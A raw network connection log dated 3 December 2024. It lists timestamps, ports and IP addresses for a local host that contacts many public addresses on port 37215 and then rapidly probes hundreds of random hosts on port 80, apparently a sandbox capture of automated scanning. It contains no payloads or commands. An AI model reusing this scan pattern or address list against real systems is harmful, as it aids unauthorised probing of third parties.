Dec 3, 2024 21:30:49.376760960 CET	37215	50372	197.9.55.89	192.168.2.23
Dec 3, 2024 21:30:49.376811028 CET	50372	37215	192.168.2.23	197.9.55.89
Dec 3, 2024 21:30:49.377051115 CET	51070	37215	192.168.2.23	41.68.120.66
Dec 3, 2024 21:30:49.377051115 CET	51070	37215	192.168.2.23	41.68.120.66
Dec 3, 2024 21:30:49.377348900 CET	51208	37215	192.168.2.23	41.68.120.66
Dec 3, 2024 21:30:49.377368927 CET	37215	40782	156.70.75.133	192.168.2.23
Dec 3, 2024 21:30:49.377410889 CET	40782	37215	192.168.2.23	156.70.75.133
Dec 3, 2024 21:30:49.377732992 CET	50372	37215	192.168.2.23	197.9.55.89
Dec 3, 2024 21:30:49.377732992 CET	50372	37215	192.168.2.23	197.9.55.89
Dec 3, 2024 21:30:49.378035069 CET	50510	37215	192.168.2.23	197.9.55.89
Dec 3, 2024 21:30:49.378125906 CET	37215	58916	197.222.83.103	192.168.2.23
Dec 3, 2024 21:30:49.378177881 CET	58916	37215	192.168.2.23	197.222.83.103
Dec 3, 2024 21:30:49.378473997 CET	40782	37215	192.168.2.23	156.70.75.133
Dec 3, 2024 21:30:49.378473997 CET	40782	37215	192.168.2.23	156.70.75.133
Dec 3, 2024 21:30:49.378760099 CET	40920	37215	192.168.2.23	156.70.75.133
Dec 3, 2024 21:30:49.378808975 CET	37215	36032	156.110.125.63	192.168.2.23
Dec 3, 2024 21:30:49.378846884 CET	36032	37215	192.168.2.23	156.110.125.63
Dec 3, 2024 21:30:49.379121065 CET	58916	37215	192.168.2.23	197.222.83.103
Dec 3, 2024 21:30:49.379121065 CET	58916	37215	192.168.2.23	197.222.83.103
Dec 3, 2024 21:30:49.379409075 CET	59054	37215	192.168.2.23	197.222.83.103
Dec 3, 2024 21:30:49.379432917 CET	37215	41278	197.50.83.42	192.168.2.23
Dec 3, 2024 21:30:49.379476070 CET	41278	37215	192.168.2.23	197.50.83.42
Dec 3, 2024 21:30:49.379817963 CET	36032	37215	192.168.2.23	156.110.125.63
Dec 3, 2024 21:30:49.379817963 CET	36032	37215	192.168.2.23	156.110.125.63
Dec 3, 2024 21:30:49.380110025 CET	36170	37215	192.168.2.23	156.110.125.63
Dec 3, 2024 21:30:49.380156994 CET	37215	33276	197.166.189.254	192.168.2.23
Dec 3, 2024 21:30:49.380196095 CET	33276	37215	192.168.2.23	197.166.189.254
Dec 3, 2024 21:30:49.380515099 CET	41278	37215	192.168.2.23	197.50.83.42
Dec 3, 2024 21:30:49.380515099 CET	41278	37215	192.168.2.23	197.50.83.42
Dec 3, 2024 21:30:49.380698919 CET	37215	43142	197.158.250.72	192.168.2.23
Dec 3, 2024 21:30:49.380744934 CET	43142	37215	192.168.2.23	197.158.250.72
Dec 3, 2024 21:30:49.380850077 CET	41416	37215	192.168.2.23	197.50.83.42
Dec 3, 2024 21:30:49.381238937 CET	33276	37215	192.168.2.23	197.166.189.254
Dec 3, 2024 21:30:49.381238937 CET	33276	37215	192.168.2.23	197.166.189.254
Dec 3, 2024 21:30:49.381346941 CET	37215	60002	197.119.240.72	192.168.2.23
Dec 3, 2024 21:30:49.381391048 CET	60002	37215	192.168.2.23	197.119.240.72
Dec 3, 2024 21:30:49.381541967 CET	33414	37215	192.168.2.23	197.166.189.254
Dec 3, 2024 21:30:49.381875992 CET	37215	36440	156.188.250.125	192.168.2.23
Dec 3, 2024 21:30:49.381897926 CET	43142	37215	192.168.2.23	197.158.250.72
Dec 3, 2024 21:30:49.381908894 CET	43142	37215	192.168.2.23	197.158.250.72
Dec 3, 2024 21:30:49.381911039 CET	36440	37215	192.168.2.23	156.188.250.125
Dec 3, 2024 21:30:49.382224083 CET	43280	37215	192.168.2.23	197.158.250.72
Dec 3, 2024 21:30:49.382635117 CET	60002	37215	192.168.2.23	197.119.240.72
Dec 3, 2024 21:30:49.382635117 CET	60002	37215	192.168.2.23	197.119.240.72
Dec 3, 2024 21:30:49.383022070 CET	60140	37215	192.168.2.23	197.119.240.72
Dec 3, 2024 21:30:49.383321047 CET	36440	37215	192.168.2.23	156.188.250.125
Dec 3, 2024 21:30:49.383321047 CET	36440	37215	192.168.2.23	156.188.250.125
Dec 3, 2024 21:30:49.383608103 CET	36578	37215	192.168.2.23	156.188.250.125
Dec 3, 2024 21:30:49.391576052 CET	37215	36928	197.79.214.113	192.168.2.23
Dec 3, 2024 21:30:49.391654015 CET	36928	37215	192.168.2.23	197.79.214.113
Dec 3, 2024 21:30:49.391676903 CET	36928	37215	192.168.2.23	197.79.214.113
Dec 3, 2024 21:30:49.391676903 CET	36928	37215	192.168.2.23	197.79.214.113
Dec 3, 2024 21:30:49.391997099 CET	37032	37215	192.168.2.23	197.79.214.113
Dec 3, 2024 21:30:49.399616957 CET	37215	37280	41.183.207.233	192.168.2.23
Dec 3, 2024 21:30:49.399666071 CET	37280	37215	192.168.2.23	41.183.207.233
Dec 3, 2024 21:30:49.399702072 CET	37280	37215	192.168.2.23	41.183.207.233
Dec 3, 2024 21:30:49.399702072 CET	37280	37215	192.168.2.23	41.183.207.233
Dec 3, 2024 21:30:49.400007010 CET	37364	37215	192.168.2.23	41.183.207.233
Dec 3, 2024 21:30:49.415867090 CET	37215	40834	156.159.12.120	192.168.2.23
Dec 3, 2024 21:30:49.415911913 CET	40834	37215	192.168.2.23	156.159.12.120
Dec 3, 2024 21:30:49.416088104 CET	40834	37215	192.168.2.23	156.159.12.120
Dec 3, 2024 21:30:49.416088104 CET	40834	37215	192.168.2.23	156.159.12.120
Dec 3, 2024 21:30:49.416373014 CET	40910	37215	192.168.2.23	156.159.12.120
Dec 3, 2024 21:30:49.419540882 CET	37215	40232	156.18.88.219	192.168.2.23
Dec 3, 2024 21:30:49.419609070 CET	40232	37215	192.168.2.23	156.18.88.219
Dec 3, 2024 21:30:49.419650078 CET	40232	37215	192.168.2.23	156.18.88.219
Dec 3, 2024 21:30:49.419651031 CET	40232	37215	192.168.2.23	156.18.88.219
Dec 3, 2024 21:30:49.419944048 CET	40298	37215	192.168.2.23	156.18.88.219
Dec 3, 2024 21:30:49.429625988 CET	37215	52264	41.75.37.101	192.168.2.23
Dec 3, 2024 21:30:49.430680990 CET	37215	39614	197.135.129.229	192.168.2.23
Dec 3, 2024 21:30:49.451831102 CET	80	60814	173.191.101.175	192.168.2.23
Dec 3, 2024 21:30:49.451863050 CET	80	36366	34.35.216.85	192.168.2.23
Dec 3, 2024 21:30:49.451874971 CET	80	37786	212.76.170.100	192.168.2.23
Dec 3, 2024 21:30:49.451927900 CET	60814	80	192.168.2.23	173.191.101.175
Dec 3, 2024 21:30:49.451931953 CET	36366	80	192.168.2.23	34.35.216.85
Dec 3, 2024 21:30:49.451951981 CET	37786	80	192.168.2.23	212.76.170.100
Dec 3, 2024 21:30:49.452176094 CET	59010	80	192.168.2.23	121.80.255.188
Dec 3, 2024 21:30:49.452178001 CET	59010	80	192.168.2.23	223.118.93.51
Dec 3, 2024 21:30:49.452178001 CET	59010	80	192.168.2.23	198.186.23.221
Dec 3, 2024 21:30:49.452178955 CET	60814	80	192.168.2.23	173.191.101.175
Dec 3, 2024 21:30:49.452178001 CET	59010	80	192.168.2.23	36.110.31.36
Dec 3, 2024 21:30:49.452176094 CET	59010	80	192.168.2.23	94.239.95.196
Dec 3, 2024 21:30:49.452178955 CET	59010	80	192.168.2.23	8.103.67.204
Dec 3, 2024 21:30:49.452179909 CET	59010	80	192.168.2.23	203.227.83.38
Dec 3, 2024 21:30:49.452179909 CET	59010	80	192.168.2.23	135.150.255.53
Dec 3, 2024 21:30:49.452179909 CET	59010	80	192.168.2.23	181.38.214.136
Dec 3, 2024 21:30:49.452179909 CET	59010	80	192.168.2.23	168.50.236.232
Dec 3, 2024 21:30:49.452183008 CET	59010	80	192.168.2.23	166.129.108.143
Dec 3, 2024 21:30:49.452182055 CET	59010	80	192.168.2.23	128.218.161.97
Dec 3, 2024 21:30:49.452183008 CET	59010	80	192.168.2.23	198.169.141.72
Dec 3, 2024 21:30:49.452222109 CET	59010	80	192.168.2.23	156.248.20.67
Dec 3, 2024 21:30:49.452223063 CET	59010	80	192.168.2.23	94.76.184.78
Dec 3, 2024 21:30:49.452222109 CET	59010	80	192.168.2.23	138.105.102.142
Dec 3, 2024 21:30:49.452223063 CET	59010	80	192.168.2.23	58.160.203.104
Dec 3, 2024 21:30:49.452223063 CET	59010	80	192.168.2.23	186.63.121.209
Dec 3, 2024 21:30:49.452224016 CET	59010	80	192.168.2.23	112.94.112.148
Dec 3, 2024 21:30:49.452223063 CET	59010	80	192.168.2.23	189.10.164.230
Dec 3, 2024 21:30:49.452224016 CET	59010	80	192.168.2.23	93.228.46.255
Dec 3, 2024 21:30:49.452228069 CET	36366	80	192.168.2.23	34.35.216.85
Dec 3, 2024 21:30:49.452228069 CET	59010	80	192.168.2.23	43.124.139.56
Dec 3, 2024 21:30:49.452229977 CET	37786	80	192.168.2.23	212.76.170.100
Dec 3, 2024 21:30:49.452228069 CET	59010	80	192.168.2.23	145.137.87.236
Dec 3, 2024 21:30:49.452229977 CET	59010	80	192.168.2.23	66.8.229.168
Dec 3, 2024 21:30:49.452228069 CET	59010	80	192.168.2.23	199.137.230.43
Dec 3, 2024 21:30:49.452229977 CET	59010	80	192.168.2.23	155.155.248.30
Dec 3, 2024 21:30:49.452228069 CET	59010	80	192.168.2.23	9.165.173.243
Dec 3, 2024 21:30:49.452229977 CET	59010	80	192.168.2.23	178.90.97.5
Dec 3, 2024 21:30:49.452223063 CET	59010	80	192.168.2.23	137.191.57.90
Dec 3, 2024 21:30:49.452229977 CET	59010	80	192.168.2.23	223.170.0.106
Dec 3, 2024 21:30:49.452228069 CET	59010	80	192.168.2.23	71.20.208.78
Dec 3, 2024 21:30:49.452229977 CET	59010	80	192.168.2.23	178.56.113.6
Dec 3, 2024 21:30:49.452227116 CET	59010	80	192.168.2.23	156.128.59.60
Dec 3, 2024 21:30:49.452229977 CET	59010	80	192.168.2.23	136.174.133.76
Dec 3, 2024 21:30:49.452229977 CET	59010	80	192.168.2.23	52.79.170.34
Dec 3, 2024 21:30:49.452228069 CET	59010	80	192.168.2.23	115.179.245.214
Dec 3, 2024 21:30:49.452223063 CET	59010	80	192.168.2.23	203.56.118.13
Dec 3, 2024 21:30:49.452227116 CET	59010	80	192.168.2.23	198.243.198.32
Dec 3, 2024 21:30:49.452223063 CET	59010	80	192.168.2.23	78.254.172.158
Dec 3, 2024 21:30:49.452227116 CET	59010	80	192.168.2.23	27.184.187.182
Dec 3, 2024 21:30:49.452223063 CET	59010	80	192.168.2.23	218.231.127.107
Dec 3, 2024 21:30:49.452255011 CET	59010	80	192.168.2.23	44.84.166.225
Dec 3, 2024 21:30:49.452259064 CET	59010	80	192.168.2.23	192.104.38.225
Dec 3, 2024 21:30:49.452260971 CET	59010	80	192.168.2.23	78.99.202.241
Dec 3, 2024 21:30:49.452260971 CET	59010	80	192.168.2.23	67.31.220.72
Dec 3, 2024 21:30:49.452263117 CET	59010	80	192.168.2.23	64.62.207.94
Dec 3, 2024 21:30:49.452263117 CET	59010	80	192.168.2.23	210.206.218.110
Dec 3, 2024 21:30:49.452263117 CET	59010	80	192.168.2.23	122.93.172.28
Dec 3, 2024 21:30:49.452263117 CET	59010	80	192.168.2.23	122.143.115.17
Dec 3, 2024 21:30:49.452263117 CET	59010	80	192.168.2.23	40.110.204.18
Dec 3, 2024 21:30:49.452263117 CET	59010	80	192.168.2.23	223.193.50.25
Dec 3, 2024 21:30:49.452264071 CET	59010	80	192.168.2.23	39.62.26.137
Dec 3, 2024 21:30:49.452263117 CET	59010	80	192.168.2.23	105.132.164.166
Dec 3, 2024 21:30:49.452263117 CET	59010	80	192.168.2.23	177.187.144.204
Dec 3, 2024 21:30:49.452264071 CET	59010	80	192.168.2.23	128.180.217.137
Dec 3, 2024 21:30:49.452263117 CET	59010	80	192.168.2.23	207.221.33.126
Dec 3, 2024 21:30:49.452264071 CET	59010	80	192.168.2.23	83.17.235.208
Dec 3, 2024 21:30:49.452263117 CET	59010	80	192.168.2.23	66.217.212.169
Dec 3, 2024 21:30:49.452269077 CET	59010	80	192.168.2.23	183.193.25.58
Dec 3, 2024 21:30:49.452269077 CET	59010	80	192.168.2.23	23.73.44.229
Dec 3, 2024 21:30:49.452269077 CET	59010	80	192.168.2.23	98.149.4.9
Dec 3, 2024 21:30:49.452272892 CET	59010	80	192.168.2.23	118.180.191.65
Dec 3, 2024 21:30:49.452269077 CET	59010	80	192.168.2.23	128.89.212.58
Dec 3, 2024 21:30:49.452272892 CET	59010	80	192.168.2.23	204.31.41.147
Dec 3, 2024 21:30:49.452269077 CET	59010	80	192.168.2.23	181.146.172.135
Dec 3, 2024 21:30:49.452272892 CET	59010	80	192.168.2.23	70.172.183.167
Dec 3, 2024 21:30:49.452274084 CET	59010	80	192.168.2.23	147.106.237.63
Dec 3, 2024 21:30:49.452269077 CET	59010	80	192.168.2.23	24.88.156.76
Dec 3, 2024 21:30:49.452264071 CET	59010	80	192.168.2.23	37.25.48.77
Dec 3, 2024 21:30:49.452274084 CET	59010	80	192.168.2.23	140.37.146.110
Dec 3, 2024 21:30:49.452276945 CET	59010	80	192.168.2.23	31.88.51.111
Dec 3, 2024 21:30:49.452274084 CET	59010	80	192.168.2.23	135.244.246.204
Dec 3, 2024 21:30:49.452264071 CET	59010	80	192.168.2.23	93.45.161.56
Dec 3, 2024 21:30:49.452280045 CET	59010	80	192.168.2.23	46.54.29.237
Dec 3, 2024 21:30:49.452274084 CET	59010	80	192.168.2.23	104.11.43.60
Dec 3, 2024 21:30:49.452274084 CET	59010	80	192.168.2.23	73.91.146.2
Dec 3, 2024 21:30:49.452274084 CET	59010	80	192.168.2.23	163.7.170.102
Dec 3, 2024 21:30:49.452290058 CET	59010	80	192.168.2.23	216.157.166.51
Dec 3, 2024 21:30:49.452291965 CET	59010	80	192.168.2.23	63.244.208.85
Dec 3, 2024 21:30:49.452291965 CET	59010	80	192.168.2.23	86.228.80.5
Dec 3, 2024 21:30:49.452292919 CET	59010	80	192.168.2.23	103.86.117.167
Dec 3, 2024 21:30:49.452295065 CET	59010	80	192.168.2.23	73.83.205.198
Dec 3, 2024 21:30:49.452296019 CET	59010	80	192.168.2.23	102.23.152.23
Dec 3, 2024 21:30:49.452296019 CET	59010	80	192.168.2.23	73.189.110.41
Dec 3, 2024 21:30:49.452296972 CET	59010	80	192.168.2.23	96.38.210.225
Dec 3, 2024 21:30:49.452306986 CET	59010	80	192.168.2.23	40.198.16.71
Dec 3, 2024 21:30:49.452306986 CET	59010	80	192.168.2.23	104.182.145.21
Dec 3, 2024 21:30:49.452307940 CET	59010	80	192.168.2.23	120.69.85.37
Dec 3, 2024 21:30:49.452307940 CET	59010	80	192.168.2.23	132.226.72.18
Dec 3, 2024 21:30:49.452308893 CET	59010	80	192.168.2.23	201.193.204.206
Dec 3, 2024 21:30:49.452308893 CET	59010	80	192.168.2.23	94.49.33.146
Dec 3, 2024 21:30:49.452310085 CET	59010	80	192.168.2.23	157.39.1.236
Dec 3, 2024 21:30:49.452310085 CET	59010	80	192.168.2.23	90.92.5.18
Dec 3, 2024 21:30:49.452308893 CET	59010	80	192.168.2.23	220.44.33.126
Dec 3, 2024 21:30:49.452308893 CET	59010	80	192.168.2.23	172.61.165.74
Dec 3, 2024 21:30:49.452308893 CET	59010	80	192.168.2.23	149.233.28.108
Dec 3, 2024 21:30:49.452317953 CET	59010	80	192.168.2.23	91.185.234.185
Dec 3, 2024 21:30:49.452317953 CET	59010	80	192.168.2.23	92.162.154.65
Dec 3, 2024 21:30:49.452318907 CET	59010	80	192.168.2.23	25.184.5.99
Dec 3, 2024 21:30:49.452325106 CET	59010	80	192.168.2.23	76.122.243.122
Dec 3, 2024 21:30:49.452325106 CET	59010	80	192.168.2.23	196.8.237.154
Dec 3, 2024 21:30:49.452328920 CET	59010	80	192.168.2.23	210.141.254.216
Dec 3, 2024 21:30:49.452330112 CET	59010	80	192.168.2.23	213.146.191.234
Dec 3, 2024 21:30:49.452328920 CET	59010	80	192.168.2.23	220.136.117.177
Dec 3, 2024 21:30:49.452330112 CET	59010	80	192.168.2.23	53.198.58.203
Dec 3, 2024 21:30:49.452330112 CET	59010	80	192.168.2.23	136.234.38.86
Dec 3, 2024 21:30:49.452338934 CET	59010	80	192.168.2.23	39.211.21.143
Dec 3, 2024 21:30:49.452348948 CET	59010	80	192.168.2.23	170.127.146.191
Dec 3, 2024 21:30:49.452353954 CET	59010	80	192.168.2.23	52.172.206.241
Dec 3, 2024 21:30:49.452353954 CET	59010	80	192.168.2.23	2.5.168.187
Dec 3, 2024 21:30:49.452353954 CET	59010	80	192.168.2.23	114.213.90.171
Dec 3, 2024 21:30:49.452361107 CET	59010	80	192.168.2.23	172.94.194.70
Dec 3, 2024 21:30:49.452369928 CET	59010	80	192.168.2.23	122.62.116.169
Dec 3, 2024 21:30:49.452388048 CET	59010	80	192.168.2.23	84.65.208.4
Dec 3, 2024 21:30:49.452389002 CET	59010	80	192.168.2.23	94.209.216.15
Dec 3, 2024 21:30:49.452389956 CET	59010	80	192.168.2.23	167.18.124.198
Dec 3, 2024 21:30:49.452394962 CET	59010	80	192.168.2.23	199.154.15.250
Dec 3, 2024 21:30:49.452404022 CET	59010	80	192.168.2.23	32.174.215.9
Dec 3, 2024 21:30:49.452409983 CET	59010	80	192.168.2.23	187.119.132.5
Dec 3, 2024 21:30:49.452409983 CET	59010	80	192.168.2.23	122.99.170.99
Dec 3, 2024 21:30:49.452414989 CET	59010	80	192.168.2.23	1.235.87.140
Dec 3, 2024 21:30:49.452426910 CET	59010	80	192.168.2.23	38.178.242.168
Dec 3, 2024 21:30:49.452430010 CET	59010	80	192.168.2.23	44.193.45.114
Dec 3, 2024 21:30:49.452440977 CET	59010	80	192.168.2.23	111.231.26.74
Dec 3, 2024 21:30:49.452441931 CET	59010	80	192.168.2.23	85.0.212.158
Dec 3, 2024 21:30:49.452455997 CET	59010	80	192.168.2.23	109.62.116.140
Dec 3, 2024 21:30:49.452460051 CET	59010	80	192.168.2.23	124.161.58.84
Dec 3, 2024 21:30:49.452461958 CET	59010	80	192.168.2.23	35.4.142.244
Dec 3, 2024 21:30:49.452466011 CET	59010	80	192.168.2.23	154.187.94.137
Dec 3, 2024 21:30:49.452477932 CET	59010	80	192.168.2.23	99.65.24.139
Dec 3, 2024 21:30:49.452485085 CET	59010	80	192.168.2.23	203.43.228.240
Dec 3, 2024 21:30:49.452491999 CET	59010	80	192.168.2.23	190.121.60.161
Dec 3, 2024 21:30:49.452497959 CET	59010	80	192.168.2.23	111.254.128.41
Dec 3, 2024 21:30:49.452497959 CET	59010	80	192.168.2.23	46.160.54.162
Dec 3, 2024 21:30:49.452497959 CET	59010	80	192.168.2.23	94.52.108.122
Dec 3, 2024 21:30:49.452502966 CET	59010	80	192.168.2.23	4.39.139.53
Dec 3, 2024 21:30:49.452510118 CET	59010	80	192.168.2.23	8.218.67.124
Dec 3, 2024 21:30:49.452518940 CET	59010	80	192.168.2.23	142.63.159.165
Dec 3, 2024 21:30:49.452518940 CET	59010	80	192.168.2.23	148.133.202.22
Dec 3, 2024 21:30:49.452533960 CET	59010	80	192.168.2.23	31.106.106.47
Dec 3, 2024 21:30:49.452534914 CET	59010	80	192.168.2.23	208.73.18.33
Dec 3, 2024 21:30:49.452548027 CET	59010	80	192.168.2.23	126.119.27.172
Dec 3, 2024 21:30:49.452548027 CET	59010	80	192.168.2.23	62.241.223.153
Dec 3, 2024 21:30:49.452552080 CET	59010	80	192.168.2.23	183.49.160.33
Dec 3, 2024 21:30:49.452552080 CET	59010	80	192.168.2.23	165.237.99.255
Dec 3, 2024 21:30:49.452568054 CET	59010	80	192.168.2.23	200.219.19.49
Dec 3, 2024 21:30:49.452570915 CET	59010	80	192.168.2.23	178.39.231.213
Dec 3, 2024 21:30:49.452584982 CET	59010	80	192.168.2.23	85.94.43.145
Dec 3, 2024 21:30:49.452586889 CET	59010	80	192.168.2.23	163.72.151.152
Dec 3, 2024 21:30:49.452591896 CET	59010	80	192.168.2.23	187.1.168.234
Dec 3, 2024 21:30:49.452595949 CET	59010	80	192.168.2.23	188.170.231.224
Dec 3, 2024 21:30:49.452595949 CET	59010	80	192.168.2.23	169.20.73.107
Dec 3, 2024 21:30:49.452595949 CET	59010	80	192.168.2.23	51.162.42.39
Dec 3, 2024 21:30:49.452595949 CET	59010	80	192.168.2.23	152.62.62.186
Dec 3, 2024 21:30:49.452603102 CET	59010	80	192.168.2.23	168.179.250.81
Dec 3, 2024 21:30:49.452615976 CET	59010	80	192.168.2.23	202.195.70.243
Dec 3, 2024 21:30:49.452620029 CET	59010	80	192.168.2.23	79.156.60.177
Dec 3, 2024 21:30:49.452631950 CET	59010	80	192.168.2.23	148.98.22.119
Dec 3, 2024 21:30:49.452635050 CET	59010	80	192.168.2.23	74.157.250.239
Dec 3, 2024 21:30:49.452639103 CET	59010	80	192.168.2.23	48.162.102.148
Dec 3, 2024 21:30:49.452640057 CET	59010	80	192.168.2.23	86.127.49.238
Dec 3, 2024 21:30:49.452641964 CET	59010	80	192.168.2.23	179.144.199.199
Dec 3, 2024 21:30:49.452644110 CET	59010	80	192.168.2.23	144.17.165.185
Dec 3, 2024 21:30:49.452653885 CET	59010	80	192.168.2.23	43.59.136.74
Dec 3, 2024 21:30:49.452663898 CET	59010	80	192.168.2.23	87.99.189.4
Dec 3, 2024 21:30:49.452666998 CET	59010	80	192.168.2.23	166.110.53.80
Dec 3, 2024 21:30:49.452673912 CET	59010	80	192.168.2.23	43.60.40.138
Dec 3, 2024 21:30:49.452686071 CET	59010	80	192.168.2.23	161.6.221.60
Dec 3, 2024 21:30:49.452687025 CET	59010	80	192.168.2.23	23.106.44.103
Dec 3, 2024 21:30:49.452693939 CET	59010	80	192.168.2.23	39.184.136.56
Dec 3, 2024 21:30:49.452706099 CET	59010	80	192.168.2.23	124.210.148.35
Dec 3, 2024 21:30:49.452706099 CET	59010	80	192.168.2.23	63.134.72.188
Dec 3, 2024 21:30:49.452727079 CET	59010	80	192.168.2.23	103.151.136.211
Dec 3, 2024 21:30:49.452727079 CET	59010	80	192.168.2.23	64.6.222.132
Dec 3, 2024 21:30:49.452728987 CET	59010	80	192.168.2.23	132.30.251.127
Dec 3, 2024 21:30:49.452733994 CET	59010	80	192.168.2.23	101.87.18.116
Dec 3, 2024 21:30:49.452744961 CET	59010	80	192.168.2.23	14.13.224.33
Dec 3, 2024 21:30:49.452745914 CET	59010	80	192.168.2.23	139.184.240.199
Dec 3, 2024 21:30:49.452754974 CET	59010	80	192.168.2.23	182.206.42.146
Dec 3, 2024 21:30:49.452786922 CET	59010	80	192.168.2.23	14.135.67.76
Dec 3, 2024 21:30:49.452786922 CET	59010	80	192.168.2.23	119.52.255.38
Dec 3, 2024 21:30:49.452788115 CET	59010	80	192.168.2.23	84.157.79.83
Dec 3, 2024 21:30:49.452789068 CET	59010	80	192.168.2.23	109.154.123.254
Dec 3, 2024 21:30:49.452790976 CET	59010	80	192.168.2.23	49.147.155.75
Dec 3, 2024 21:30:49.452795982 CET	59010	80	192.168.2.23	133.20.162.148
Dec 3, 2024 21:30:49.452805042 CET	59010	80	192.168.2.23	206.87.138.10
Dec 3, 2024 21:30:49.452805042 CET	59010	80	192.168.2.23	170.152.237.163
Dec 3, 2024 21:30:49.452806950 CET	59010	80	192.168.2.23	126.91.180.12
Dec 3, 2024 21:30:49.452807903 CET	59010	80	192.168.2.23	184.176.97.166
Dec 3, 2024 21:30:49.452807903 CET	59010	80	192.168.2.23	49.198.45.178
Dec 3, 2024 21:30:49.452811956 CET	59010	80	192.168.2.23	118.83.174.226
Dec 3, 2024 21:30:49.452811956 CET	59010	80	192.168.2.23	176.65.161.241
Dec 3, 2024 21:30:49.452811956 CET	59010	80	192.168.2.23	125.156.4.175
Dec 3, 2024 21:30:49.452811956 CET	59010	80	192.168.2.23	191.118.225.62
Dec 3, 2024 21:30:49.452811956 CET	59010	80	192.168.2.23	44.69.219.239
Dec 3, 2024 21:30:49.452811956 CET	59010	80	192.168.2.23	207.188.238.91
Dec 3, 2024 21:30:49.452832937 CET	59010	80	192.168.2.23	147.60.91.67
Dec 3, 2024 21:30:49.452833891 CET	59010	80	192.168.2.23	183.198.134.3
Dec 3, 2024 21:30:49.452833891 CET	59010	80	192.168.2.23	23.48.161.227
Dec 3, 2024 21:30:49.452836037 CET	59010	80	192.168.2.23	65.77.129.37
Dec 3, 2024 21:30:49.452836037 CET	59010	80	192.168.2.23	34.127.152.101
Dec 3, 2024 21:30:49.452840090 CET	59010	80	192.168.2.23	140.218.198.85
Dec 3, 2024 21:30:49.452840090 CET	59010	80	192.168.2.23	110.11.166.242
Dec 3, 2024 21:30:49.452841043 CET	59010	80	192.168.2.23	195.170.172.47
Dec 3, 2024 21:30:49.452840090 CET	59010	80	192.168.2.23	150.19.82.111
Dec 3, 2024 21:30:49.452842951 CET	59010	80	192.168.2.23	104.1.62.55
Dec 3, 2024 21:30:49.452836037 CET	59010	80	192.168.2.23	91.253.154.133
Dec 3, 2024 21:30:49.452842951 CET	59010	80	192.168.2.23	131.196.4.112
Dec 3, 2024 21:30:49.452836037 CET	59010	80	192.168.2.23	126.120.243.143
Dec 3, 2024 21:30:49.452836037 CET	59010	80	192.168.2.23	44.120.71.148
Dec 3, 2024 21:30:49.452836037 CET	59010	80	192.168.2.23	209.78.136.50
Dec 3, 2024 21:30:49.452848911 CET	59010	80	192.168.2.23	44.36.54.30
Dec 3, 2024 21:30:49.452850103 CET	59010	80	192.168.2.23	181.132.100.26
Dec 3, 2024 21:30:49.452850103 CET	59010	80	192.168.2.23	138.50.10.91
Dec 3, 2024 21:30:49.452850103 CET	59010	80	192.168.2.23	135.192.61.143
Dec 3, 2024 21:30:49.452855110 CET	59010	80	192.168.2.23	153.135.108.104
Dec 3, 2024 21:30:49.452855110 CET	59010	80	192.168.2.23	38.145.201.75
Dec 3, 2024 21:30:49.452856064 CET	59010	80	192.168.2.23	134.74.241.99
Dec 3, 2024 21:30:49.452858925 CET	59010	80	192.168.2.23	109.51.139.69
Dec 3, 2024 21:30:49.452858925 CET	59010	80	192.168.2.23	157.33.69.226
Dec 3, 2024 21:30:49.452861071 CET	59010	80	192.168.2.23	96.198.213.109
Dec 3, 2024 21:30:49.452868938 CET	59010	80	192.168.2.23	53.32.227.192
Dec 3, 2024 21:30:49.452868938 CET	59010	80	192.168.2.23	186.62.185.190
Dec 3, 2024 21:30:49.452892065 CET	59010	80	192.168.2.23	45.61.90.139
Dec 3, 2024 21:30:49.452893972 CET	59010	80	192.168.2.23	188.103.97.207
Dec 3, 2024 21:30:49.452893972 CET	59010	80	192.168.2.23	204.101.216.67
Dec 3, 2024 21:30:49.452893972 CET	59010	80	192.168.2.23	14.244.237.97
Dec 3, 2024 21:30:49.452894926 CET	59010	80	192.168.2.23	93.175.142.137
Dec 3, 2024 21:30:49.452903032 CET	59010	80	192.168.2.23	123.198.189.65
Dec 3, 2024 21:30:49.452903986 CET	59010	80	192.168.2.23	4.151.71.226
Dec 3, 2024 21:30:49.452910900 CET	59010	80	192.168.2.23	126.73.3.168
Dec 3, 2024 21:30:49.452913046 CET	59010	80	192.168.2.23	163.69.7.237
Dec 3, 2024 21:30:49.452919006 CET	59010	80	192.168.2.23	166.147.18.162
Dec 3, 2024 21:30:49.452922106 CET	59010	80	192.168.2.23	125.241.249.100
Dec 3, 2024 21:30:49.452931881 CET	59010	80	192.168.2.23	9.166.242.88
Dec 3, 2024 21:30:49.452939987 CET	59010	80	192.168.2.23	188.248.223.49
Dec 3, 2024 21:30:49.452944994 CET	59010	80	192.168.2.23	210.19.114.15
Dec 3, 2024 21:30:49.452944994 CET	59010	80	192.168.2.23	90.148.14.216
Dec 3, 2024 21:30:49.452948093 CET	59010	80	192.168.2.23	184.238.24.178
Dec 3, 2024 21:30:49.452949047 CET	59010	80	192.168.2.23	104.217.161.220
Dec 3, 2024 21:30:49.452949047 CET	59010	80	192.168.2.23	183.254.122.61
Dec 3, 2024 21:30:49.452961922 CET	59010	80	192.168.2.23	218.119.192.118
Dec 3, 2024 21:30:49.452967882 CET	59010	80	192.168.2.23	217.49.53.221
Dec 3, 2024 21:30:49.452970982 CET	59010	80	192.168.2.23	132.211.184.127
Dec 3, 2024 21:30:49.452971935 CET	59010	80	192.168.2.23	163.169.163.200
Dec 3, 2024 21:30:49.452977896 CET	59010	80	192.168.2.23	152.4.168.227
Dec 3, 2024 21:30:49.452994108 CET	59010	80	192.168.2.23	179.216.75.112
Dec 3, 2024 21:30:49.452994108 CET	59010	80	192.168.2.23	1.197.87.246
Dec 3, 2024 21:30:49.452994108 CET	59010	80	192.168.2.23	140.22.156.189
Dec 3, 2024 21:30:49.452996969 CET	59010	80	192.168.2.23	57.210.86.221
Dec 3, 2024 21:30:49.453007936 CET	59010	80	192.168.2.23	181.152.191.40
Dec 3, 2024 21:30:49.453022957 CET	59010	80	192.168.2.23	173.206.164.14
Dec 3, 2024 21:30:49.453027964 CET	59010	80	192.168.2.23	188.42.83.221
Dec 3, 2024 21:30:49.453027964 CET	59010	80	192.168.2.23	128.80.44.14
Dec 3, 2024 21:30:49.453031063 CET	59010	80	192.168.2.23	137.95.251.203
Dec 3, 2024 21:30:49.453031063 CET	59010	80	192.168.2.23	151.78.218.99
Dec 3, 2024 21:30:49.453032970 CET	59010	80	192.168.2.23	27.122.1.227
Dec 3, 2024 21:30:49.453035116 CET	59010	80	192.168.2.23	138.225.208.109
Dec 3, 2024 21:30:49.453043938 CET	59010	80	192.168.2.23	62.77.54.17
Dec 3, 2024 21:30:49.453061104 CET	59010	80	192.168.2.23	162.180.123.230
